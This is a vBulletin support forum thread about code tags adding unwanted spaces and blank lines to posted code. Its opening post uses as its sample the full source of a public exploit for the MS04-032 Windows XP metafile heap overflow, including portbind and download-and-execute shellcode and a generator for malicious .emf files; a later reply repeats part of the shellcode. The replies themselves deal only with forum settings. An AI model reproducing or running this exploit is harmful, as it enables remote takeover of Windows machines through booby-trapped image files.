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    dzigntist
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  • dzigntist
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    What I am finding is that if you edit a post with code in it, then save changes, there are many, many, many extra lines being added for each edit.

    Code:
    [color=#0000ff]function[/color][size=2] OnDefaultValue(ret) [/size]
    
    
    [size=2]{[/size]
    [indent][size=2]conName = ret.Param([/size][size=2][color=#b400b4]'conName'[/color][/size][size=2]); 
    
    
    [/size][/indent][size=2][indent]
    
     
     
    [/indent][/size][indent][size=2][color=#0000ff]switch[/color][/size][size=2] (conName) 
     
     
     
     
    
    
    {[/size]  [/indent]


    These lines of code were originally typed with no extra lines. Seems editing is a one shot deal, where if you don't get it right the first time you write a post, you end up with these huge spaces between.

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  • EbonyWidow
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  • EbonyWidow
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    Exploit, try this and let me know if it works for you. Go into your 'vBulletin Options' then edit the settings for 'Thread Display Options (showthread)', go to the 'Number of Characters Before Wrapping Text' setting and change it to '0'.

    Let me know if that worked for you.

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  • Dennis Olson
    Senior Member

  • Dennis Olson
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    Dude.... you know?

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  • Zachery
    Former vBulletin Support

  • Zachery
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    That is not an option at this time.

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  • Dennis Olson
    Senior Member

  • Dennis Olson
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    Zach, how can I turn that off JUST inside CODE, PHP or HTML tags? IMO it shouldn't insert spaces inside these tags.

    Thanks!

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  • urban75
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    which vbulletin option?

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  • Zachery
    Former vBulletin Support

  • Zachery
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    Since someone is saying that this is a bug(today), its a standard part of vBulletin to add a space after X characters to help with line breaks.

    You can change this in the vBulletin Options

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  • Steve Machol
    Former Customer Support Manager

  • Steve Machol
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    Oh, I misunderstood. I thought you said it worked on these forums. If you think you've found a bug, then please post this in the Bug Tracker so the Devs can have a look.

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  • ExploiT
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  • ExploiT
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    Okay, i guess i'll have to mess with somethings and see if it will work, i'm not doing to reupload all the files because it DOES NOT work on vbulletins own vbulletin forum lol..which is here, so there is no use trying to get it to work on my vbulletin forum, if the vbulletin forum on the vbulletin site doesnt work and screws up the format...how can the vbulletin forum on a customers site have it work, you know what i mean?

    its ok, we'll manage, people will just have to look at a quote of the posts where code is in it, or just fix the code themselves.

    thanks for your help anyway.

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  • Steve Machol
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  • Steve Machol
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    Okay, obviously I don't know. However if the code works fine here and it doesn't on your forums, then a change was made to your forums to cause this.

    The first thing I recommend is that you reupload all the original vB non-image files (except install.php). Make sure you upload these in ASCII format and overwrite the ones on the server.

    Then create a new style and choose no parent style. This will force it to use the default templates. Then change to this style and view your forums with it. Do you have the same problem?

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  • ExploiT
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  • ExploiT
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    bah, thats because you dont know what the code should look like, and thats because you probably dont understand C or assembly language, i mean no offense, its just that if you dont understand what the code should look like...you wont understand why its messed up..

    this is there the exactly problem lies..

    Code:
     unsigned char portbind_sc[] = 
     "\x90\x90\x90\x90\x90\x90\x90\x90" 
      
     "\xeb\x03\x5d\xeb\x05\xe8\xf8\xff"             [b]RIGHT BELOW THE T IN THE FIRST "RIGHT"[/b]
     "\xff\xff\x8b\xc5\x83\xc0\x11\x33\xc9\x66\xb9\xc9\x  01\x80\x30\x88" 
     "\x40\xe2\xfa\xdd\x03\x64\x03\x7c\x09\x64\x08\x88\x  88\x88\x60\xc4" 
     "\x89\x88\x88\x01\xce\x74\x77\xfe\x74\xe0\x06\xc6\x  86\x64\x60\xd9" 
     "\x89\x88\x88\x01\xce\x4e\xe0\xbb\xba\x88\x88\xe0\x  ff\xfb\xba\xd7" 
     "\xdc\x77\xde\x4e\x01\xce\x70\x77\xfe\x74\xe0\x25\x  51\x8d\x46\x60" 
     "\xb8\x89\x88\x88\x01\xce\x5a\x77\xfe\x74\xe0\xfa\x  76\x3b\x9e\x60" 
     "\xa8\x89\x88\x88\x01\xce\x46\x77\xfe\x74\xe0\x67\x  46\x68\xe8\x60" 
     "\x98\x89\x88\x88\x01\xce\x42\x77\xfe\x70\xe0\x43\x  65\x74\xb3\x60" 
     "\x88\x89\x88\x88\x01\xce\x7c\x77\xfe\x70\xe0\x51\x  81\x7d\x25\x60" 
     "\x78\x88\x88\x88\x01\xce\x78\x77\xfe\x70\xe0\x2c\x  92\xf8\x4f\x60"
    if you can see the large gaps between the assembly code bits, thats the problem..they shouldnt be there...and that presists throughout the ENTIRE source code..

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  • Steve Machol
    Former Customer Support Manager

  • Steve Machol
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    The code on this post looks formatted to me:

    http://digitalwaves.org/forums/showthread.php?t=387

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  • ExploiT
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  • ExploiT
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    well, i dont have a link bc its in a protected forum that a user needs to be logged in and have 25 posts to see it...

    umm, i dont think i installed any hacks lol unless you count changing the default skin to a greyer look...which you can see at the forums page http://www.digitalwaves.org/forums but thats not a hack

    here i made a post of it in the guest forum... great example of what i mean.. http://digitalwaves.org/forums/showthread.php?t=387

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  • Steve Machol
    Former Customer Support Manager

  • Steve Machol
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    Do you have a link to this post? Have you installed any hacks (including portals) or added any code to the footer, headinclude, header or phpinclude templates?

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  • ExploiT
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  • ExploiT
    started a topic Formatting of post with programming code problem

    Formatting of post with programming code problem

    Guys i really need your help on this one...at my vbulletin forums at www.digitalwaves.org/forums, whenever i post any type of program code sometimes the code's format is changed when i post, EVEN if i post with code tags, which shouldnt happen..for example..sorry for posting such a lengthy post but here is an example.


    Code:
     /* HOD-ms04032-emf-expl2.c: 
     * 
     * (MS04-032) Microsoft Windows XP Metafile (.emf) Heap Overflow 
     * 
     * Exploit version 0.2 (PUBLIC) coded by 
     * 
     * 
     *                 .::[ houseofdabus ]::. 
     * 
     * 
     * [at inbox dot ru] 
     * ------------------------------------------------------------------- 
     * About WMF/EMF: 
     * Windows Metafile (WMF) and Enhanced Windows Metafile (EMF) formats 
     * are vector files that can contain a raster image... 
     * 
     * ------------------------------------------------------------------- 
     * The vulnerability will be triggered by either viewing a malicious 
     * file or by navigating to a directory, which contains a malicious 
     * file and displays it as a thumbnail. 
     * 
     * Graphics Rendering Engine Vulnerability - CAN-2004-0209 
     * ------------------------------------------------------------------- 
     * Tested on: 
     *    - Internet Explorer 6.0 (SP1) (iexplore.exe) 
     *    - Explorer (explorer.exe) 
     *    - Windows XP SP1 
     * 
     * ------------------------------------------------------------------- 
     * Compile: 
     *    Win32/VC++  : cl HOD-ms04032-emf-expl.c 
     *    Win32/cygwin: gcc HOD-ms04032-emf-expl.c -lws2_32.lib 
     *    Linux       : gcc -o HOD-ms04032-emf-expl HOD-ms04032-emf-expl.c 
     * 
     * ------------------------------------------------------------------- 
     * Command Line Parameters/Arguments: 
     * 
     *   HOD.exe <file> <shellcode> <bind/connectback port> [connectback IP] 
     * 
     *   Shellcode: 
     *        1 - Portbind shellcode 
     *        2 - Connectback shellcode 
     * 
     * ------------------------------------------------------------------- 
     * Examples: 
     * 
     * C:\>HOD-ms04032-emf-expl.exe expl.emf 1 7777 
     * 
     * C:\>HOD-ms04032-emf-expl.exe expl.emf 2 http://host/file.exe 
     * 
     * ------------------------------------------------------------------- 
     * 
     *   This is provided as proof-of-concept code only for educational 
     *   purposes and testing by authorized individuals with permission to 
     *   do so. 
     * 
     */ 
     
     
    /* #define _WIN32 */ 
     
    #include <stdio.h> 
    #include <stdlib.h> 
    #include <string.h> 
     
    #ifdef _WIN32 
    #pragma comment(lib,"ws2_32") 
    #include <winsock2.h> 
     
    #else 
    #include <sys/types.h> 
    #include <netinet/in.h> 
    #include <sys/socket.h> 
    #endif 
     
    #include <windows.h> 
     
     
    unsigned char emfheader[] =  
    "\x01\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
    "\x20\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
    "\x4c\x03\x00\x00\x4c\x03\x00\x00\x20\x45\x4d\x46\x00\x00\x01\x00" 
    "\x40\x00\x00\x00\x0b\x00\x00\x00\x0a\x00\x00\x00\xff\xff\x00\x00" 
     
    "\xEB\x12\x90\x90\x90\x90\x90\x90" 
    "\x9e\x5c\x05\x78"	/* call [edi+0x74h] - rpcrt4.dll */ 
    "\xb4\x73\xed\x77";	/* Top SEH          - XP SP1 */ 
     
     
    unsigned char portbind_sc[] = 
    "\x90\x90\x90\x90\x90\x90\x90\x90" 
     
    "\xeb\x03\x5d\xeb\x05\xe8\xf8\xff" 
    "\xff\xff\x8b\xc5\x83\xc0\x11\x33\xc9\x66\xb9\xc9\x01\x80\x30\x88" 
    "\x40\xe2\xfa\xdd\x03\x64\x03\x7c\x09\x64\x08\x88\x88\x88\x60\xc4" 
    "\x89\x88\x88\x01\xce\x74\x77\xfe\x74\xe0\x06\xc6\x86\x64\x60\xd9" 
    "\x89\x88\x88\x01\xce\x4e\xe0\xbb\xba\x88\x88\xe0\xff\xfb\xba\xd7" 
    "\xdc\x77\xde\x4e\x01\xce\x70\x77\xfe\x74\xe0\x25\x51\x8d\x46\x60" 
    "\xb8\x89\x88\x88\x01\xce\x5a\x77\xfe\x74\xe0\xfa\x76\x3b\x9e\x60" 
    "\xa8\x89\x88\x88\x01\xce\x46\x77\xfe\x74\xe0\x67\x46\x68\xe8\x60" 
    "\x98\x89\x88\x88\x01\xce\x42\x77\xfe\x70\xe0\x43\x65\x74\xb3\x60" 
    "\x88\x89\x88\x88\x01\xce\x7c\x77\xfe\x70\xe0\x51\x81\x7d\x25\x60" 
    "\x78\x88\x88\x88\x01\xce\x78\x77\xfe\x70\xe0\x2c\x92\xf8\x4f\x60" 
    "\x68\x88\x88\x88\x01\xce\x64\x77\xfe\x70\xe0\x2c\x25\xa6\x61\x60" 
    "\x58\x88\x88\x88\x01\xce\x60\x77\xfe\x70\xe0\x6d\xc1\x0e\xc1\x60" 
    "\x48\x88\x88\x88\x01\xce\x6a\x77\xfe\x70\xe0\x6f\xf1\x4e\xf1\x60" 
    "\x38\x88\x88\x88\x01\xce\x5e\xbb\x77\x09\x64\x7c\x89\x88\x88\xdc" 
    "\xe0\x89\x89\x88\x88\x77\xde\x7c\xd8\xd8\xd8\xd8\xc8\xd8\xc8\xd8" 
    "\x77\xde\x78\x03\x50\xdf\xdf\xe0\x8a\x88\xAB\x6F\x03\x44\xe2\x9e" 
    "\xd9\xdb\x77\xde\x64\xdf\xdb\x77\xde\x60\xbb\x77\xdf\xd9\xdb\x77" 
    "\xde\x6a\x03\x58\x01\xce\x36\xe0\xeb\xe5\xec\x88\x01\xee\x4a\x0b" 
    "\x4c\x24\x05\xb4\xac\xbb\x48\xbb\x41\x08\x49\x9d\x23\x6a\x75\x4e" 
    "\xcc\xac\x98\xcc\x76\xcc\xac\xb5\x01\xdc\xac\xc0\x01\xdc\xac\xc4" 
    "\x01\xdc\xac\xd8\x05\xcc\xac\x98\xdc\xd8\xd9\xd9\xd9\xc9\xd9\xc1" 
    "\xd9\xd9\x77\xfe\x4a\xd9\x77\xde\x46\x03\x44\xe2\x77\x77\xb9\x77" 
    "\xde\x5a\x03\x40\x77\xfe\x36\x77\xde\x5e\x63\x16\x77\xde\x9c\xde" 
    "\xec\x29\xb8\x88\x88\x88\x03\xc8\x84\x03\xf8\x94\x25\x03\xc8\x80" 
    "\xd6\x4a\x8c\x88\xdb\xdd\xde\xdf\x03\xe4\xac\x90\x03\xcd\xb4\x03" 
    "\xdc\x8d\xf0\x8b\x5d\x03\xc2\x90\x03\xd2\xa8\x8b\x55\x6b\xba\xc1" 
    "\x03\xbc\x03\x8b\x7d\xbb\x77\x74\xbb\x48\x24\xb2\x4c\xfc\x8f\x49" 
    "\x47\x85\x8b\x70\x63\x7a\xb3\xf4\xac\x9c\xfd\x69\x03\xd2\xac\x8b" 
    "\x55\xee\x03\x84\xc3\x03\xd2\x94\x8b\x55\x03\x8c\x03\x8b\x4d\x63" 
    "\x8a\xbb\x48\x03\x5d\xd7\xd6\xd5\xd3\x4a\x8c\x88"; 
     
     
    unsigned char download_sc[]= 
    "\x90\x90\x90\x90\x90\x90\x90\x90" 
     
    "\xEB\x0F\x58\x80\x30\x17\x40\x81\x38\x6D\x30\x30\x21\x75\xF4" 
    "\xEB\x05\xE8\xEC\xFF\xFF\xFF\xFE\x94\x16\x17\x17\x4A\x42\x26" 
    "\xCC\x73\x9C\x14\x57\x84\x9C\x54\xE8\x57\x62\xEE\x9C\x44\x14" 
    "\x71\x26\xC5\x71\xAF\x17\x07\x71\x96\x2D\x5A\x4D\x63\x10\x3E" 
    "\xD5\xFE\xE5\xE8\xE8\xE8\x9E\xC4\x9C\x6D\x2B\x16\xC0\x14\x48" 
    "\x6F\x9C\x5C\x0F\x9C\x64\x37\x9C\x6C\x33\x16\xC1\x16\xC0\xEB" 
    "\xBA\x16\xC7\x81\x90\xEA\x46\x26\xDE\x97\xD6\x18\xE4\xB1\x65" 
    "\x1D\x81\x4E\x90\xEA\x63\x05\x50\x50\xF5\xF1\xA9\x18\x17\x17" 
    "\x17\x3E\xD9\x3E\xE0\xFE\xFF\xE8\xE8\xE8\x26\xD7\x71\x9C\x10" 
    "\xD6\xF7\x15\x9C\x64\x0B\x16\xC1\x16\xD1\xBA\x16\xC7\x9E\xD1" 
    "\x9E\xC0\x4A\x9A\x92\xB7\x17\x17\x17\x57\x97\x2F\x16\x62\xED" 
    "\xD1\x17\x17\x9A\x92\x0B\x17\x17\x17\x47\x40\xE8\xC1\x7F\x13" 
    "\x17\x17\x17\x7F\x17\x07\x17\x17\x7F\x68\x81\x8F\x17\x7F\x17" 
    "\x17\x17\x17\xE8\xC7\x9E\x92\x9A\x17\x17\x17\x9A\x92\x18\x17" 
    "\x17\x17\x47\x40\xE8\xC1\x40\x9A\x9A\x42\x17\x17\x17\x46\xE8" 
    "\xC7\x9E\xD0\x9A\x92\x4A\x17\x17\x17\x47\x40\xE8\xC1\x26\xDE" 
    "\x46\x46\x46\x46\x46\xE8\xC7\x9E\xD4\x9A\x92\x7C\x17\x17\x17" 
    "\x47\x40\xE8\xC1\x26\xDE\x46\x46\x46\x46\x9A\x82\xB6\x17\x17" 
    "\x17\x45\x44\xE8\xC7\x9E\xD4\x9A\x92\x6B\x17\x17\x17\x47\x40" 
    "\xE8\xC1\x9A\x9A\x86\x17\x17\x17\x46\x7F\x68\x81\x8F\x17\xE8" 
    "\xA2\x9A\x17\x17\x17\x44\xE8\xC7\x48\x9A\x92\x3E\x17\x17\x17" 
    "\x47\x40\xE8\xC1\x7F\x17\x17\x17\x17\x9A\x8A\x82\x17\x17\x17" 
    "\x44\xE8\xC7\x9E\xD4\x9A\x92\x26\x17\x17\x17\x47\x40\xE8\xC1" 
    "\xE8\xA2\x86\x17\x17\x17\xE8\xA2\x9A\x17\x17\x17\x44\xE8\xC7" 
    "\x9A\x92\x2E\x17\x17\x17\x47\x40\xE8\xC1\x44\xE8\xC7\x9A\x92" 
    "\x56\x17\x17\x17\x47\x40\xE8\xC1\x7F\x12\x17\x17\x17\x9A\x9A" 
    "\x82\x17\x17\x17\x46\xE8\xC7\x9A\x92\x5E\x17\x17\x17\x47\x40" 
    "\xE8\xC1\x7F\x17\x17\x17\x17\xE8\xC7\xFF\x6F\xE9\xE8\xE8\x50" 
    "\x72\x63\x47\x65\x78\x74\x56\x73\x73\x65\x72\x64\x64\x17\x5B" 
    "\x78\x76\x73\x5B\x7E\x75\x65\x76\x65\x6E\x56\x17\x41\x7E\x65" 
    "\x63\x62\x76\x7B\x56\x7B\x7B\x78\x74\x17\x48\x7B\x74\x65\x72" 
    "\x76\x63\x17\x48\x7B\x60\x65\x7E\x63\x72\x17\x48\x7B\x74\x7B" 
    "\x78\x64\x72\x17\x40\x7E\x79\x52\x6F\x72\x74\x17\x52\x6F\x7E" 
    "\x63\x47\x65\x78\x74\x72\x64\x64\x17\x40\x7E\x79\x5E\x79\x72" 
    "\x63\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x58\x67\x72\x79\x56" 
    "\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x58\x67\x72\x79\x42\x65" 
    "\x7B\x56\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x45\x72\x76\x73" 
    "\x51\x7E\x7B\x72\x17\x17\x17\x17\x17\x17\x17\x17\x17\x7A\x27" 
    "\x27\x39\x72\x6F\x72\x17""HOD""\x21"; 
     
    unsigned char endoffile[] = "\x00\x00\x00\x00"; 
     
     
    void 
    usage(char *prog) 
    { 
    	printf("Usage:\n"); 
    	printf("%s <file> <shellcode> <bindport / url>\n", prog); 
    	printf("\nShellcode:\n"); 
    	printf("      1 - Portbind shellcode\n"); 
    	printf("      2 - Download & exec shellcode\n\n"); 
    	exit(0); 
    } 
     
     
    int 
    main(int argc, char **argv) 
    { 
    	char endofurl = '\x01'; 
    	unsigned short port; 
    	int sc; 
    	FILE *fp; 
     
    	printf("\n(MS04-032) Microsoft Windows XP Metafile 
    (.emf) Heap Overflow\n\n"); 
    	printf("--- Coded by .::[ houseofdabus ]::. ---\n\n"); 
     
    	if (argc < 4) usage(argv[0]); 
     
    	sc = atoi(argv[2]); 
    	if ((sc > 2) || (sc < 1)) usage(argv[0]); 
     
    	fp = fopen(argv[1], "wb"); 
    	if (fp == NULL) { 
    		printf("[-] error: can\'t create file: %s\n", argv[1]); 
    		exit(0); 
    	} 
     
    	/* header */ 
    	fwrite(emfheader, 1, sizeof(emfheader)-1, fp); 
     
    	printf("[*] Shellcode: "); 
    	if (sc == 1) { 
    		port = atoi(argv[3]); 
    		printf("Portbind, port = %u\n", port); 
    		port = htons(port^(unsigned short)0x8888); 
    		memcpy(portbind_sc+266, &port, 2); 
    		fwrite(portbind_sc, 1, sizeof(portbind_sc)-1, fp); 
    		fwrite(endoffile, 1, 4, fp); 
    	} 
    	else { 
    		printf("Download & exec, url = %s\n", argv[3]); 
    		fwrite(download_sc, 1, sizeof(download_sc)-1, 
    fp); 
    		fwrite(argv[3], 1, strlen(argv[3]), fp); 
    		fwrite(&endofurl, 1, 1, fp); 
    		fwrite(endoffile, 1, 4, fp); 
    	} 
     
    	printf("[+] Ok\n"); 
    	fclose(fp); 
     
    return 0; 
    }

    the code should look like the code here http://www.milw0rm.com/id.php?id=584

    but there are added spaces...

    also, on my forums, the width of the code tags box is too small, how to i make the width bigger.
    ExploiT
    New Member
    Last edited by ExploiT; Mon 7 Feb '05, 1:53pm.
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